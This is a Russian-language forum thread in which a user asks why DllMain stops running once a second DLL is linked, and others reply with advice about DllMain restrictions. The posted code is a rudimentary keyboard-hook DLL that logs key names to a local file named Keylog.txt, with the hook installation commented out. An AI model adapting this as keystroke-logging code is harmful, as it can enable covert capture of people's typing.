#include "..\..\ExHook\ExHook\ExHook.h"
#pragma comment(lib,"ExHook.lib");
Как вызвать dll из другой dll ?
Я там подключаю 1.dll и из неё я должен запустить функцию из 2.dll.
Проблема. Если я в 1.dll подключаю 2.dll вот так:
Код:
то она подключается, но тогда в 1.dll не работает DllMain, когда я ее вызываю из приложения.
Если закоментить #pragma comment(lib,"ExHook.lib"); в 1.dll то DllMain отработает, но тогда не хочет подключатся 2.dll.
Код:
ExDLL.obj : error LNK2019: unresolved external symbol "__declspec(dllimport) void __cdecl InstallHook(void)" (__imp_?InstallHook@@YAXXZ) referenced in function _DllMain@12
Как мне подключить в длл другую длл?
ниже коды длл.
1.длл
Код:
#define DLL extern "C";__declspec(dllexport)
#include "windows.h"
#include "ExDLL.h"
#include "..\..\ExHook\ExHook\ExHook.h"
#pragma comment(lib,"ExHook.lib");
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
MessageBoxA(NULL," Хук !!! ","О!",MB_OK);
InstallHook();
return TRUE;
};
#include "windows.h"
#include "ExDLL.h"
#include "..\..\ExHook\ExHook\ExHook.h"
#pragma comment(lib,"ExHook.lib");
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
MessageBoxA(NULL," Хук !!! ","О!",MB_OK);
InstallHook();
return TRUE;
};
2.dll
Код:
#include "windows.h"
#define EX extern "C"; __declspec(dllexport)
#include "ExHook.h"
#include "atlstr.h"
#include "stdio.h"
HHOOK hook = NULL;
HINSTANCE hInstance = NULL;
//HWND hwnd = NULL;
char *ph;
FILE *diskfile;
char buffer[20];
LRESULT CALLBACK HookProc(int ncode,WPARAM wparam,LPARAM lparam)
{
//Функция обработки Хука
if(ncode>=0)
{
if((lparam & 0x80000000) == 0x00000000)//Проверка на нажатие кнопки (не на освобождение !!!)
{
MessageBoxA(NULL,"HookProc !!! ","HookProc!",MB_OK);
//Путь где будет находиться лог-файл
ph="D:\\Keylog.txt";
//ph="%systemdrive%";
if (!(diskfile =fopen(ph, "a")))
{
return false;
}
// Получение дескриптора файла
//int handle=_fileno(diskfile);
// выделение памяти под буффер
char *data=new char[100];
if(!data){
return false;
}
GetKeyNameText(lparam,data,strlen(data));
fwrite(data,sizeof(char),strlen(data),diskfile);
// Закрытие файлов
fclose(diskfile);
}
}
//Вызываем следующую функцию из цепочки хуков
return ( CallNextHookEx(hook,ncode,wparam,lparam) );
}
void InstallHook()
{
MessageBoxA(NULL,"ExHOOK !!! ","Main!",MB_OK);
/*hook = SetWindowsHookEx(WH_KEYBOARD,HookProc,hInstance,NULL);
DWORD dw = GetLastError();
TCHAR szBuf[80];
MessageBox(NULL, szBuf, "Error", MB_OK);
if(hook==NULL)
MessageBoxA(NULL,"Невозможно установить Хук !!! ","Ошибка!",MB_OK);*/
}
void RemoveHook()
{
//Удаляем Хук
UnhookWindowsHookEx(hook);
}
#define EX extern "C"; __declspec(dllexport)
#include "ExHook.h"
#include "atlstr.h"
#include "stdio.h"
HHOOK hook = NULL;
HINSTANCE hInstance = NULL;
//HWND hwnd = NULL;
char *ph;
FILE *diskfile;
char buffer[20];
LRESULT CALLBACK HookProc(int ncode,WPARAM wparam,LPARAM lparam)
{
//Функция обработки Хука
if(ncode>=0)
{
if((lparam & 0x80000000) == 0x00000000)//Проверка на нажатие кнопки (не на освобождение !!!)
{
MessageBoxA(NULL,"HookProc !!! ","HookProc!",MB_OK);
//Путь где будет находиться лог-файл
ph="D:\\Keylog.txt";
//ph="%systemdrive%";
if (!(diskfile =fopen(ph, "a")))
{
return false;
}
// Получение дескриптора файла
//int handle=_fileno(diskfile);
// выделение памяти под буффер
char *data=new char[100];
if(!data){
return false;
}
GetKeyNameText(lparam,data,strlen(data));
fwrite(data,sizeof(char),strlen(data),diskfile);
// Закрытие файлов
fclose(diskfile);
}
}
//Вызываем следующую функцию из цепочки хуков
return ( CallNextHookEx(hook,ncode,wparam,lparam) );
}
void InstallHook()
{
MessageBoxA(NULL,"ExHOOK !!! ","Main!",MB_OK);
/*hook = SetWindowsHookEx(WH_KEYBOARD,HookProc,hInstance,NULL);
DWORD dw = GetLastError();
TCHAR szBuf[80];
MessageBox(NULL, szBuf, "Error", MB_OK);
if(hook==NULL)
MessageBoxA(NULL,"Невозможно установить Хук !!! ","Ошибка!",MB_OK);*/
}
void RemoveHook()
{
//Удаляем Хук
UnhookWindowsHookEx(hook);
}
Вообще, в DllMain не рекомендуется делать нетривиальных вещей, особенно вызывать функции из других DLL.
Цитата: tarekon
Вообще, в DllMain не рекомендуется делать нетривиальных вещей, особенно вызывать функции из других DLL.
А в чем нетривиальность вызова функций других DLL?
Единственное ограничение на DllMain в том, что на этапе её вызова не поддерживается многопоточность.
[/QUOTE]
[QUOTE=MSDN]Calling functions that require DLLs other than Kernel32.dll may result in problems that are difficult to diagnose. For example, calling User, Shell, and COM functions can cause access violation errors, because some functions load other system components. Conversely, calling functions such as these during termination can cause access violation errors because the corresponding component may already have been unloaded or uninitialized.[/QUOTE]
Вообще полезно почитать статью на MSDN. В ней также есть ссылка на "best practices when writing a DLL".
Я не говорю, что совсем нельзя. Я говорю, что лучше не стоит. На всякий случай :). Вот автор MessageBox использует, что может к всяким бякам приводить.